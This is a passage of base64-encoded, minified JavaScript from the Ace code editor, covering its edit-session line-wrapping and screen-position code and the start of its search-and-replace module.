gpLHVbMF09bjtmb3IodmFyIGY9MTtmPHUubGVuZ3RoO2YrKyl1W2ZdPXN9ZWxzZSB1PXRoaXMuJGdldERpc3BsYXlUb2tlbnMoclt0XS5zdWJzdHJpbmcobyxpKSxhLmxlbmd0aCk7YT1hLmNvbmNhdCh1KX0uYmluZCh0aGlzKSxmLmVuZC5yb3cscltmLmVuZC5yb3ddLmxlbmd0aCsxKSxvW2Yuc3RhcnQucm93XT10aGlzLiRjb21wdXRlV3JhcFNwbGl0cyhhLHUsaSksbD1mLmVuZC5yb3crMSk6KGE9dGhpcy4kZ2V0RGlzcGxheVRva2VucyhyW2xdKSxvW2xdPXRoaXMuJGNvbXB1dGVXcmFwU3BsaXRzKGEsdSxpKSxsKyspfTt2YXIgZT0xLHQ9MixuPTMscz00LGE9OSxjPTEwLGg9MTEsZD0xMjt0aGlzLiRjb21wdXRlV3JhcFNwbGl0cz1mdW5jdGlvbihlLHIsaSl7ZnVuY3Rpb24gZygpe3ZhciB0PTA7aWYobT09PTApcmV0dXJuIHQ7aWYodilmb3IodmFyIG49MDtuPGUubGVuZ3RoO24rKyl7dmFyIHI9ZVtuXTtpZihyPT1jKXQrPTE7ZWxzZXtpZihyIT1oKXtpZihyPT1kKWNvbnRpbnVlO2JyZWFrfXQrPWl9fXJldHVybiBwJiZ2IT09ITEmJih0Kz1pKSxNYXRoLm1pbih0LG0pfWZ1bmN0aW9uIHkodCl7dmFyIG49dC1mO2Zvcih2YXIgcj1mO3I8dDtyKyspe3ZhciBpPWVbcl07aWYoaT09PTEyfHxpPT09MiluLT0xfW8ubGVuZ3RofHwoYj1nKCksby5pbmRlbnQ9YiksbCs9bixvLnB1c2gobCksZj10fWlmKGUubGVuZ3RoPT0wKXJldHVybltdO3ZhciBvPVtdLHU9ZS5sZW5ndGgsZj0wLGw9MCxwPXRoaXMuJHdyYXBBc0NvZGUsdj10aGlzLiRpbmRlbnRlZFNvZnRXcmFwLG09cjw9TWF0aC5tYXgoMippLDgpfHx2PT09ITE/MDpNYXRoLmZsb29yKHIvMiksYj0wO3doaWxlKHUtZj5yLWIpe3ZhciB3PWYrci1iO2lmKGVbdy0xXT49YyYmZVt3XT49Yyl7eSh3KTtjb250aW51ZX1pZihlW3ddPT1ufHxlW3ddPT1zKXtmb3Iodzt3IT1mLTE7dy0tKWlmKGVbd109PW4pYnJlYWs7aWYodz5mKXt5KHcpO2NvbnRpbnVlfXc9ZityO2Zvcih3O3c8ZS5sZW5ndGg7dysrKWlmKGVbd10hPXMpYnJlYWs7aWYodz09ZS5sZW5ndGgpYnJlYWs7eSh3KTtjb250aW51ZX12YXIgRT1NYXRoLm1heCh3LShyLShyPj4yKSksZi0xKTt3aGlsZSh3PkUmJmVbd108bil3LS07aWYocCl7d2hpbGUodz5FJiZlW3ddPG4pdy0tO3doaWxlKHc+RSYmZVt3XT09YSl3LS19ZWxzZSB3aGlsZSh3PkUmJmVbd108Yyl3LS07aWYodz5FKXt5KCsrdyk7Y29udGludWV9dz1mK3IsZVt3XT09dCYmdy0tLHkody1iKX1yZXR1cm4gb30sdGhpcy4kZ2V0RGlzcGxheVRva2Vucz1mdW5jdGlvbihuLHIpe3ZhciBpPVtdLHM7cj1yfHwwO2Zvcih2YXIgbz0wO288bi5sZW5ndGg7bysrKXt2YXIgdT1uLmNoYXJDb2RlQXQobyk7aWYodT09OSl7cz10aGlzLmdldFNjcmVlblRhYlNpemUoaS5sZW5ndGgrciksaS5wdXNoKGgpO2Zvcih2YXIgZj0xO2Y8cztmKyspaS5wdXNoKGQpfWVsc2UgdT09MzI/aS5wdXNoKGMpOnU+MzkmJnU8NDh8fHU+NTcmJnU8NjQ/aS5wdXNoKGEpOnU+PTQzNTImJnYodSk/aS5wdXNoKGUsdCk6aS5wdXNoKGUpfXJldHVybiBpfSx0aGlzLiRnZXRTdHJpbmdTY3JlZW5XaWR0aD1mdW5jdGlvbihlLHQsbil7aWYodD09MClyZXR1cm5bMCwwXTt0PT1udWxsJiYodD1JbmZpbml0eSksbj1ufHwwO3ZhciByLGk7Zm9yKGk9MDtpPGUubGVuZ3RoO2krKyl7cj1lLmNoYXJDb2RlQXQoaSkscj09OT9uKz10aGlzLmdldFNjcmVlblRhYlNpemUobik6cj49NDM1MiYmdihyKT9uKz0yOm4rPTE7aWYobj50KWJyZWFrfXJldHVybltuLGldfSx0aGlzLmxpbmVXaWRnZXRzPW51bGwsdGhpcy5nZXRSb3dMZW5ndGg9ZnVuY3Rpb24oZSl7dmFyIHQ9MTtyZXR1cm4gdGhpcy5saW5lV2lkZ2V0cyYmKHQrPXRoaXMubGluZVdpZGdldHNbZV0mJnRoaXMubGluZVdpZGdldHNbZV0ucm93Q291bnR8fDApLCF0aGlzLiR1c2VXcmFwTW9kZXx8IXRoaXMuJHdyYXBEYXRhW2VdP3Q6dGhpcy4kd3JhcERhdGFbZV0ubGVuZ3RoK3R9LHRoaXMuZ2V0Um93TGluZUNvdW50PWZ1bmN0aW9uKGUpe3JldHVybiF0aGlzLiR1c2VXcmFwTW9kZXx8IXRoaXMuJHdyYXBEYXRhW2VdPzE6dGhpcy4kd3JhcERhdGFbZV0ubGVuZ3RoKzF9LHRoaXMuZ2V0Um93V3JhcEluZGVudD1mdW5jdGlvbihlKXtpZih0aGlzLiR1c2VXcmFwTW9kZSl7dmFyIHQ9dGhpcy5zY3JlZW5Ub0RvY3VtZW50UG9zaXRpb24oZSxOdW1iZXIuTUFYX1ZBTFVFKSxuPXRoaXMuJHdyYXBEYXRhW3Qucm93XTtyZXR1cm4gbi5sZW5ndGgmJm5bMF08dC5jb2x1bW4/bi5pbmRlbnQ6MH1yZXR1cm4gMH0sdGhpcy5nZXRTY3JlZW5MYXN0Um93Q29sdW1uPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuc2NyZWVuVG9Eb2N1bWVudFBvc2l0aW9uKGUsTnVtYmVyLk1BWF9WQUxVRSk7cmV0dXJuIHRoaXMuZG9jdW1lbnRUb1NjcmVlbkNvbHVtbih0LnJvdyx0LmNvbHVtbil9LHRoaXMuZ2V0RG9jdW1lbnRMYXN0Um93Q29sdW1uPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5kb2N1bWVudFRvU2NyZWVuUm93KGUsdCk7cmV0dXJuIHRoaXMuZ2V0U2NyZWVuTGFzdFJvd0NvbHVtbihuKX0sdGhpcy5nZXREb2N1bWVudExhc3RSb3dDb2x1bW5Qb3NpdGlvbj1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuZG9jdW1lbnRUb1NjcmVlblJvdyhlLHQpO3JldHVybiB0aGlzLnNjcmVlblRvRG9jdW1lbnRQb3NpdGlvbihuLE51bWJlci5NQVhfVkFMVUUvMTApfSx0aGlzLmdldFJvd1NwbGl0RGF0YT1mdW5jdGlvbihlKXtyZXR1cm4gdGhpcy4kdXNlV3JhcE1vZGU/dGhpcy4kd3JhcERhdGFbZV06dW5kZWZpbmVkfSx0aGlzLmdldFNjcmVlblRhYlNpemU9ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuJHRhYlNpemUtKGUldGhpcy4kdGFiU2l6ZXwwKX0sdGhpcy5zY3JlZW5Ub0RvY3VtZW50Um93PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuc2NyZWVuVG9Eb2N1bWVudFBvc2l0aW9uKGUsdCkucm93fSx0aGlzLnNjcmVlblRvRG9jdW1lbnRDb2x1bW49ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5zY3JlZW5Ub0RvY3VtZW50UG9zaXRpb24oZSx0KS5jb2x1bW59LHRoaXMuc2NyZWVuVG9Eb2N1bWVudFBvc2l0aW9uPWZ1bmN0aW9uKGUsdCxuKXtpZihlPDApcmV0dXJue3JvdzowLGNvbHVtbjowfTt2YXIgcixpPTAscz0wLG8sdT0wLGE9MCxmPXRoaXMuJHNjcmVlblJvd0NhY2hlLGw9dGhpcy4kZ2V0Um93Q2FjaGVJbmRleChmLGUpLGM9Zi5sZW5ndGg7aWYoYyYmbD49MCl2YXIgdT1mW2xdLGk9dGhpcy4kZG9jUm93Q2FjaGVbbF0saD1lPmZbYy0xXTtlbHNlIHZhciBoPSFjO3ZhciBwPXRoaXMuZ2V0TGVuZ3RoKCktMSxkPXRoaXMuZ2V0TmV4dEZvbGRMaW5lKGkpLHY9ZD9kLnN0YXJ0LnJvdzpJbmZpbml0eTt3aGlsZSh1PD1lKXthPXRoaXMuZ2V0Um93TGVuZ3RoKGkpO2lmKHUrYT5lfHxpPj1wKWJyZWFrO3UrPWEsaSsrLGk+diYmKGk9ZC5lbmQucm93KzEsZD10aGlzLmdldE5leHRGb2xkTGluZShpLGQpLHY9ZD9kLnN0YXJ0LnJvdzpJbmZpbml0eSksaCYmKHRoaXMuJGRvY1Jvd0NhY2hlLnB1c2goaSksdGhpcy4kc2NyZWVuUm93Q2FjaGUucHVzaCh1KSl9aWYoZCYmZC5zdGFydC5yb3c8PWkpcj10aGlzLmdldEZvbGREaXNwbGF5TGluZShkKSxpPWQuc3RhcnQucm93O2Vsc2V7aWYodSthPD1lfHxpPnApcmV0dXJue3JvdzpwLGNvbHVtbjp0aGlzLmdldExpbmUocCkubGVuZ3RofTtyPXRoaXMuZ2V0TGluZShpKSxkPW51bGx9dmFyIG09MCxnPU1hdGguZmxvb3IoZS11KTtpZih0aGlzLiR1c2VXcmFwTW9kZSl7dmFyIHk9dGhpcy4kd3JhcERhdGFbaV07eSYmKG89eVtnXSxnPjAmJnkubGVuZ3RoJiYobT15LmluZGVudCxzPXlbZy0xXXx8eVt5Lmxlbmd0aC0xXSxyPXIuc3Vic3RyaW5nKHMpKSl9cmV0dXJuIG4hPT11bmRlZmluZWQmJnRoaXMuJGJpZGlIYW5kbGVyLmlzQmlkaVJvdyh1K2csaSxnKSYmKHQ9dGhpcy4kYmlkaUhhbmRsZXIub2Zmc2V0VG9Db2wobikpLHMrPXRoaXMuJGdldFN0cmluZ1NjcmVlbldpZHRoKHIsdC1tKVsxXSx0aGlzLiR1c2VXcmFwTW9kZSYmcz49byYmKHM9by0xKSxkP2QuaWR4VG9Qb3NpdGlvbihzKTp7cm93OmksY29sdW1uOnN9fSx0aGlzLmRvY3VtZW50VG9TY3JlZW5Qb3NpdGlvbj1mdW5jdGlvbihlLHQpe2lmKHR5cGVvZiB0PT0idW5kZWZpbmVkIil2YXIgbj10aGlzLiRjbGlwUG9zaXRpb25Ub0RvY3VtZW50KGUucm93LGUuY29sdW1uKTtlbHNlIG49dGhpcy4kY2xpcFBvc2l0aW9uVG9Eb2N1bWVudChlLHQpO2U9bi5yb3csdD1uLmNvbHVtbjt2YXIgcj0wLGk9bnVsbCxzPW51bGw7cz10aGlzLmdldEZvbGRBdChlLHQsMSkscyYmKGU9cy5zdGFydC5yb3csdD1zLnN0YXJ0LmNvbHVtbik7dmFyIG8sdT0wLGE9dGhpcy4kZG9jUm93Q2FjaGUsZj10aGlzLiRnZXRSb3dDYWNoZUluZGV4KGEsZSksbD1hLmxlbmd0aDtpZihsJiZmPj0wKXZhciB1PWFbZl0scj10aGlzLiRzY3JlZW5Sb3dDYWNoZVtmXSxjPWU+YVtsLTFdO2Vsc2UgdmFyIGM9IWw7dmFyIGg9dGhpcy5nZXROZXh0Rm9sZExpbmUodSkscD1oP2guc3RhcnQucm93OkluZmluaXR5O3doaWxlKHU8ZSl7aWYodT49cCl7bz1oLmVuZC5yb3crMTtpZihvPmUpYnJlYWs7aD10aGlzLmdldE5leHRGb2xkTGluZShvLGgpLHA9aD9oLnN0YXJ0LnJvdzpJbmZpbml0eX1lbHNlIG89dSsxO3IrPXRoaXMuZ2V0Um93TGVuZ3RoKHUpLHU9byxjJiYodGhpcy4kZG9jUm93Q2FjaGUucHVzaCh1KSx0aGlzLiRzY3JlZW5Sb3dDYWNoZS5wdXNoKHIpKX12YXIgZD0iIjtoJiZ1Pj1wPyhkPXRoaXMuZ2V0Rm9sZERpc3BsYXlMaW5lKGgsZSx0KSxpPWguc3RhcnQucm93KTooZD10aGlzLmdldExpbmUoZSkuc3Vic3RyaW5nKDAsdCksaT1lKTt2YXIgdj0wO2lmKHRoaXMuJHVzZVdyYXBNb2RlKXt2YXIgbT10aGlzLiR3cmFwRGF0YVtpXTtpZihtKXt2YXIgZz0wO3doaWxlKGQubGVuZ3RoPj1tW2ddKXIrKyxnKys7ZD1kLnN1YnN0cmluZyhtW2ctMV18fDAsZC5sZW5ndGgpLHY9Zz4wP20uaW5kZW50OjB9fXJldHVybiB0aGlzLmxpbmVXaWRnZXRzJiZ0aGlzLmxpbmVXaWRnZXRzW3VdJiZ0aGlzLmxpbmVXaWRnZXRzW3VdLnJvd3NBYm92ZSYmKHIrPXRoaXMubGluZVdpZGdldHNbdV0ucm93c0Fib3ZlKSx7cm93OnIsY29sdW1uOnYrdGhpcy4kZ2V0U3RyaW5nU2NyZWVuV2lkdGgoZClbMF19fSx0aGlzLmRvY3VtZW50VG9TY3JlZW5Db2x1bW49ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5kb2N1bWVudFRvU2NyZWVuUG9zaXRpb24oZSx0KS5jb2x1bW59LHRoaXMuZG9jdW1lbnRUb1NjcmVlblJvdz1mdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLmRvY3VtZW50VG9TY3JlZW5Qb3NpdGlvbihlLHQpLnJvd30sdGhpcy5nZXRTY3JlZW5MZW5ndGg9ZnVuY3Rpb24oKXt2YXIgZT0wLHQ9bnVsbDtpZighdGhpcy4kdXNlV3JhcE1vZGUpe2U9dGhpcy5nZXRMZW5ndGgoKTt2YXIgbj10aGlzLiRmb2xkRGF0YTtmb3IodmFyIHI9MDtyPG4ubGVuZ3RoO3IrKyl0PW5bcl0sZS09dC5lbmQucm93LXQuc3RhcnQucm93fWVsc2V7dmFyIGk9dGhpcy4kd3JhcERhdGEubGVuZ3RoLHM9MCxyPTAsdD10aGlzLiRmb2xkRGF0YVtyKytdLG89dD90LnN0YXJ0LnJvdzpJbmZpbml0eTt3aGlsZShzPGkpe3ZhciB1PXRoaXMuJHdyYXBEYXRhW3NdO2UrPXU/dS5sZW5ndGgrMToxLHMrKyxzPm8mJihzPXQuZW5kLnJvdysxLHQ9dGhpcy4kZm9sZERhdGFbcisrXSxvPXQ/dC5zdGFydC5yb3c6SW5maW5pdHkpfX1yZXR1cm4gdGhpcy5saW5lV2lkZ2V0cyYmKGUrPXRoaXMuJGdldFdpZGdldFNjcmVlbkxlbmd0aCgpKSxlfSx0aGlzLiRzZXRGb250TWV0cmljcz1mdW5jdGlvbihlKXtpZighdGhpcy4kZW5hYmxlVmFyQ2hhcilyZXR1cm47dGhpcy4kZ2V0U3RyaW5nU2NyZWVuV2lkdGg9ZnVuY3Rpb24odCxuLHIpe2lmKG49PT0wKXJldHVyblswLDBdO258fChuPUluZmluaXR5KSxyPXJ8fDA7dmFyIGkscztmb3Iocz0wO3M8dC5sZW5ndGg7cysrKXtpPXQuY2hhckF0KHMpLGk9PT0iCSI/cis9dGhpcy5nZXRTY3JlZW5UYWJTaXplKHIpOnIrPWUuZ2V0Q2hhcmFjdGVyV2lkdGgoaSk7aWYocj5uKWJyZWFrfXJldHVybltyLHNdfX0sdGhpcy5kZXN0cm95PWZ1bmN0aW9uKCl7dGhpcy5kZXN0cm95ZWR8fCh0aGlzLmJnVG9rZW5pemVyLnNldERvY3VtZW50KG51bGwpLHRoaXMuYmdUb2tlbml6ZXIuY2xlYW51cCgpLHRoaXMuZGVzdHJveWVkPSEwKSx0aGlzLiRzdG9wV29ya2VyKCksdGhpcy5yZW1vdmVBbGxMaXN0ZW5lcnMoKSx0aGlzLmRvYyYmdGhpcy5kb2Mub2ZmKCJjaGFuZ2UiLHRoaXMuJG9uQ2hhbmdlKSx0aGlzLnNlbGVjdGlvbi5kZXRhY2goKX0sdGhpcy5pc0Z1bGxXaWR0aD12fS5jYWxsKGQucHJvdG90eXBlKSxlKCIuL2VkaXRfc2Vzc2lvbi9mb2xkaW5nIikuRm9sZGluZy5jYWxsKGQucHJvdG90eXBlKSxlKCIuL2VkaXRfc2Vzc2lvbi9icmFja2V0X21hdGNoIikuQnJhY2tldE1hdGNoLmNhbGwoZC5wcm90b3R5cGUpLG8uZGVmaW5lT3B0aW9ucyhkLnByb3RvdHlwZSwic2Vzc2lvbiIse3dyYXA6e3NldDpmdW5jdGlvbihlKXshZXx8ZT09Im9mZiI/ZT0hMTplPT0iZnJlZSI/ZT0hMDplPT0icHJpbnRNYXJnaW4iP2U9LTE6dHlwZW9mIGU9PSJzdHJpbmciJiYoZT1wYXJzZUludChlLDEwKXx8ITEpO2lmKHRoaXMuJHdyYXA9PWUpcmV0dXJuO3RoaXMuJHdyYXA9ZTtpZighZSl0aGlzLnNldFVzZVdyYXBNb2RlKCExKTtlbHNle3ZhciB0PXR5cGVvZiBlPT0ibnVtYmVyIj9lOm51bGw7dGhpcy5zZXRXcmFwTGltaXRSYW5nZSh0LHQpLHRoaXMuc2V0VXNlV3JhcE1vZGUoITApfX0sZ2V0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0VXNlV3JhcE1vZGUoKT90aGlzLiR3cmFwPT0tMT8icHJpbnRNYXJnaW4iOnRoaXMuZ2V0V3JhcExpbWl0UmFuZ2UoKS5taW4/dGhpcy4kd3JhcDoiZnJlZSI6Im9mZiJ9LGhhbmRsZXNTZXQ6ITB9LHdyYXBNZXRob2Q6e3NldDpmdW5jdGlvbihlKXtlPWU9PSJhdXRvIj90aGlzLiRtb2RlLnR5cGUhPSJ0ZXh0IjplIT0idGV4dCIsZSE9dGhpcy4kd3JhcEFzQ29kZSYmKHRoaXMuJHdyYXBBc0NvZGU9ZSx0aGlzLiR1c2VXcmFwTW9kZSYmKHRoaXMuJHVzZVdyYXBNb2RlPSExLHRoaXMuc2V0VXNlV3JhcE1vZGUoITApKSl9LGluaXRpYWxWYWx1ZToiYXV0byJ9LGluZGVudGVkU29mdFdyYXA6e3NldDpmdW5jdGlvbigpe3RoaXMuJHVzZVdyYXBNb2RlJiYodGhpcy4kdXNlV3JhcE1vZGU9ITEsdGhpcy5zZXRVc2VXcmFwTW9kZSghMCkpfSxpbml0aWFsVmFsdWU6ITB9LGZpcnN0TGluZU51bWJlcjp7c2V0OmZ1bmN0aW9uKCl7dGhpcy5fc2lnbmFsKCJjaGFuZ2VCcmVha3BvaW50Iil9LGluaXRpYWxWYWx1ZToxfSx1c2VXb3JrZXI6e3NldDpmdW5jdGlvbihlKXt0aGlzLiR1c2VXb3JrZXI9ZSx0aGlzLiRzdG9wV29ya2VyKCksZSYmdGhpcy4kc3RhcnRXb3JrZXIoKX0saW5pdGlhbFZhbHVlOiEwfSx1c2VTb2Z0VGFiczp7aW5pdGlhbFZhbHVlOiEwfSx0YWJTaXplOntzZXQ6ZnVuY3Rpb24oZSl7ZT1wYXJzZUludChlKSxlPjAmJnRoaXMuJHRhYlNpemUhPT1lJiYodGhpcy4kbW9kaWZpZWQ9ITAsdGhpcy4kcm93TGVuZ3RoQ2FjaGU9W10sdGhpcy4kdGFiU2l6ZT1lLHRoaXMuX3NpZ25hbCgiY2hhbmdlVGFiU2l6ZSIpKX0saW5pdGlhbFZhbHVlOjQsaGFuZGxlc1NldDohMH0sbmF2aWdhdGVXaXRoaW5Tb2Z0VGFiczp7aW5pdGlhbFZhbHVlOiExfSxmb2xkU3R5bGU6e3NldDpmdW5jdGlvbihlKXt0aGlzLnNldEZvbGRTdHlsZShlKX0saGFuZGxlc1NldDohMH0sb3ZlcndyaXRlOntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy5fc2lnbmFsKCJjaGFuZ2VPdmVyd3JpdGUiKX0saW5pdGlhbFZhbHVlOiExfSxuZXdMaW5lTW9kZTp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuZG9jLnNldE5ld0xpbmVNb2RlKGUpfSxnZXQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5kb2MuZ2V0TmV3TGluZU1vZGUoKX0saGFuZGxlc1NldDohMH0sbW9kZTp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuc2V0TW9kZShlKX0sZ2V0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJG1vZGVJZH0saGFuZGxlc1NldDohMH19KSx0LkVkaXRTZXNzaW9uPWR9KSxkZWZpbmUoImFjZS9zZWFyY2giLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2xhbmciLCJhY2UvbGliL29vcCIsImFjZS9yYW5nZSJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gdShlLHQpe2Z1bmN0aW9uIG4oZSl7cmV0dXJuL1x3Ly50ZXN0KGUpfHx0LnJlZ0V4cD8iXFxiIjoiIn1yZXR1cm4gbihlWzBdKStlK24oZVtlLmxlbmd0aC0xXSl9dmFyIHI9ZSgiLi9saWIvbGFuZyIpLGk9ZSgiLi9saWIvb29wIikscz1lKCIuL3JhbmdlIikuUmFuZ2Usbz1mdW5jdGlvbigpe3RoaXMuJG9wdGlvbnM9e319OyhmdW5jdGlvbigpe3RoaXMuc2V0PWZ1bmN0aW9uKGUpe3JldHVybiBpLm1peGluKHRoaXMuJG9wdGlvbnMsZSksdGhpc30sdGhpcy5nZXRPcHRpb25zPWZ1bmN0aW9uKCl7cmV0dXJuIHIuY29weU9iamVjdCh0aGlzLiRvcHRpb25zKX0sdGhpcy5zZXRPcHRpb25zPWZ1bmN0aW9uKGUpe3RoaXMuJG9wdGlvbnM9ZX0sdGhpcy5maW5kPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuJG9wdGlvbnMsbj10aGlzLiRtYXRjaEl0ZXJhdG9yKGUsdCk7aWYoIW4pcmV0dXJuITE7dmFyIHI9bnVsbDtyZXR1cm4gbi5mb3JFYWNoKGZ1bmN0aW9uKGUsbixpLG8pe3JldHVybiByPW5ldyBzKGUsbixpLG8pLG49PW8mJnQuc3RhcnQmJnQuc3RhcnQuc3RhcnQmJnQuc2tpcEN1cnJlbnQhPTAmJnIuaXNFcXVhbCh0LnN0YXJ0KT8ocj1udWxsLCExKTohMH0pLHJ9LHRoaXMuZmluZEFsbD1mdW5jdGlvbihlKXt2YXIgdD10aGlzLiRvcHRpb25zO2lmKCF0Lm5lZWRsZSlyZXR1cm5bXTt0aGlzLiRhc3NlbWJsZVJlZ0V4cCh0KTt2YXIgbj10LnJhbmdlLGk9bj9lLmdldExpbmVzKG4uc3RhcnQucm93LG4uZW5kLnJvdyk6ZS5kb2MuZ2V0QWxsTGluZXMoKSxvPVtdLHU9dC5yZTtpZih0LiRpc011bHRpTGluZSl7dmFyIGE9dS5sZW5ndGgsZj1pLmxlbmd0aC1hLGw7ZTpmb3IodmFyIGM9dS5vZmZzZXR8fDA7Yzw9ZjtjKyspe2Zvcih2YXIgaD0wO2g8YTtoKyspaWYoaVtjK2hdLnNlYXJjaCh1W2hdKT09LTEpY29udGludWUgZTt2YXIgcD1pW2NdLGQ9aVtjK2EtMV0sdj1wLmxlbmd0aC1wLm1hdGNoKHVbMF0pWzBdLmxlbmd0aCxtPWQubWF0Y2godVthLTFdKVswXS5sZW5ndGg7aWYobCYmbC5lbmQucm93PT09YyYmbC5lbmQuY29sdW1uPnYpY29udGludWU7by5wdXNoKGw9bmV3IHMoYyx2LGMrYS0xLG0pKSxhPjImJihjPWMrYS0yKX19ZWxzZSBmb3IodmFyIGc9MDtnPGkubGVuZ3RoO2crKyl7dmFyIHk9ci5nZXRNYXRjaE9mZnNldHMoaVtnXSx1KTtmb3IodmFyIGg9MDtoPHkubGVuZ3RoO2grKyl7dmFyIGI9eVtoXTtvLnB1c2gobmV3IHMoZyxiLm9mZnNldCxnLGIub2Zmc2V0K2IubGVuZ3RoKSl9fWlmKG4pe3ZhciB3PW4uc3RhcnQuY29sdW1uLEU9bi5lbmQuY29sdW1uLGc9MCxoPW8ubGVuZ3RoLTE7d2hpbGUoZzxoJiZvW2ddLnN0YXJ0LmNvbHVtbjx3JiZvW2ddLnN0YXJ0LnJvdz09MClnKys7dmFyIFM9bi5lbmQucm93LW4uc3RhcnQucm93O3doaWxlKGc8aCYmb1toXS5lbmQuY29sdW1uPkUmJm9baF0uZW5kLnJvdz09UyloLS07bz1vLnNsaWNlKGcsaCsxKTtmb3IoZz0wLGg9by5sZW5ndGg7ZzxoO2crKylvW2ddLnN0YXJ0LnJvdys9bi5zdGFydC5yb3csb1tnXS5lbmQucm93Kz1uLnN0YXJ0LnJvd31yZXR1cm4gb30sdGhpcy5yZXBsYWNlPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy4kb3B0aW9ucyxyPXRoaXMuJGFzc2VtYmxlUmVnRXhwKG4pO2lmKG4uJGlzTXVsdGlMaW5lKXJldHVybiB0O2lmKCFyKXJldHVybjt2YXIgaT1yLmV4ZWMoZSk7aWYoIWl8fGlbMF0ubGVuZ3RoIT1lLmxlbmd0aClyZXR1cm4gbnVsbDt0PWUucmVwbGFjZShyLHQpO2lmKG4ucHJlc2VydmVDYXNlKXt0PXQuc3BsaXQoIiIpO2Zvcih2YXIgcz1NYXRoLm1pbihlLmxlbmd0aCxlLmxlbmd0aCk7cy0tOyl7dmFyIG89ZVtzXTtvJiZvLnRvTG93ZXJDYXNlKCkhPW8/dFtzXT10W3NdLnRvVXBwZXJDYXNlKCk6dFtzXT10W3NdLnRvTG93ZXJDYXNlKCl9dD10LmpvaW4oIiIpfXJldHVybiB0fSx0aGlzLiRhc3NlbWJsZVJlZ0V4cD1mdW5jdGlvbihlLHQpe2lmKGUubmVlZGxlIGluc3RhbmNlb2YgUmVnRXhwKXJldHVybiBlLnJlPWUubmVlZGxlO3ZhciBuPWUubmVlZGxlO2lmKCFlLm5lZWRsZSlyZXR1cm4gZS5yZT0hMTtlLnJlZ0V4cHx8KG49ci5lc2NhcGVSZWdFeHAobikpLGUud2hvbGVXb3JkJiYobj11KG4sZSkpO3ZhciBpPWUuY2FzZVNlbnNpdGl2ZT8iZ20iOiJnbWkiO2UuJGlzTXVsdGlMaW5lPSF0JiYvW1xuXHJdLy50ZXN0KG4pO2lmKGUuJGlzTXVsdGlMaW5lKXJldHVybiBlLnJlPXRoaXMuJGFzc2VtYmxlTXVsdGlsaW5lUmVnRXhwKG4saSk7dHJ5e3ZhciBzPW5ldyBSZWdFeHAobixpKX1jYXRjaChvKXtzPSExfXJldHVybiBlLnJlPXN9LHRoaXMuJGFzc2VtYmxlTXVsdGlsaW5lUmVnRXhwPWZ1bmN0aW9uKGUsdCl7dmFyIG49ZS5yZXBsYWNlKC9cclxufFxyfFxuL2csIiRcbl4iKS5zcGxpdCgiXG4iKSxyPVtdO2Zvcih2YXIgaT0wO2k8bi5sZW5ndGg7aSsrKXRyeXtyLnB1c2gobmV3IFJlZ0V4cChuW2ldLHQpKX1jYXRjaChzKXtyZXR1cm4hMX1yZXR1cm4gcn0sdGhpcy4kbWF0Y2hJdGVyYXRvcj1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuJGFzc2VtYmxlUmVnRXhwKHQpO2lmKCFuKXJldHVybiExO3ZhciByPXQuYmFja3dhcmRzPT0xLGk9dC5za2lwQ3VycmVudCE9MCxzPXQucmFuZ2Usbz10LnN0YXJ0O298fChvPXM/c1tyPyJlbmQiOiJzdGFydCJdOmUuc2VsZWN0aW9uLmdldFJhbmdlKCkpLG8uc3RhcnQmJihvPW9baSE9cj8iZW5kIjoic3RhcnQiXSk7dmFyIHU9cz9zLnN0YXJ0LnJvdzowLGE9cz9zLmVuZC5yb3c6ZS5nZXRMZW5ndGgoKS0xO2lmKHIpdmFyIGY9ZnVuY3Rpb24oZSl7dmFyIG49by5yb3c7aWYoYyhuLG8uY29sdW1uLGUpKXJldHVybjtmb3Iobi0tO24+PXU7bi0tKWlmKGMobixOdW1iZXIuTUFYX1ZBTFVFLGUpKXJldHVybjtpZih0LndyYXA9PTApcmV0dXJuO2ZvcihuPWEsdT1vLnJvdztuPj11O24tLSlpZihjKG4sTnVtYmVyLk1BWF9WQUxVRSxlKSlyZXR1cm59O2Vsc2UgdmFyIGY9ZnVuY3Rpb24oZSl7dmFyIG49by5yb3c7aWYoYyhuLG8uY29sdW1uLGUpKXJldHVybjtmb3Iobis9MTtuPD1hO24rKylpZihjKG4sMCxlKSlyZXR1cm47aWYodC53cmFwPT0wKXJldHVybjtmb3Iobj11LGE9by5yb3c7bjw9YTtuKyspaWYoYyhuLDAsZSkpcmV0dXJufTtpZih0LiRpc011bHRpTGluZSl2YXIgbD1uLmxlbmd0aCxjPWZ1bmN0aW9uKHQsaSxzKXt2YXIgbz1yP3QtbCsxOnQ7aWYobzwwfHxvK2w+ZS5nZXRMZW5ndGgoKSlyZXR1cm47dmFyIHU9ZS5nZXRMaW5lKG8pLGE9dS5zZWFyY2goblswXSk7aWYoIXImJmE8aXx8YT09PS0xKXJldHVybjtmb3IodmFyIGY9MTtmPGw7ZisrKXt1PWUuZ2V0TGluZShvK2YpO2lmKHUuc2VhcmNoKG5bZl0pPT0tMSlyZXR1cm59dmFyIGM9dS5tYXRjaChuW2wtMV0pWzBdLmxlbmd0aDtpZihyJiZjPmkpcmV0dXJuO2lmKHMobyxhLG8rbC0xLGMpKXJldHVybiEwfTtlbHNlIGlmKHIpdmFyIGM9ZnVuY3Rpb24odCxyLGkpe3ZhciBzPWUuZ2V0TGluZSh0KSxvPVtdLHUsYT0wO24ubGFzdEluZGV4PTA7d2hpbGUodT1uLmV4ZWMocykpe3ZhciBmPXVbMF0ubGVuZ3RoO2E9dS5pbmRleDtpZighZil7aWYoYT49c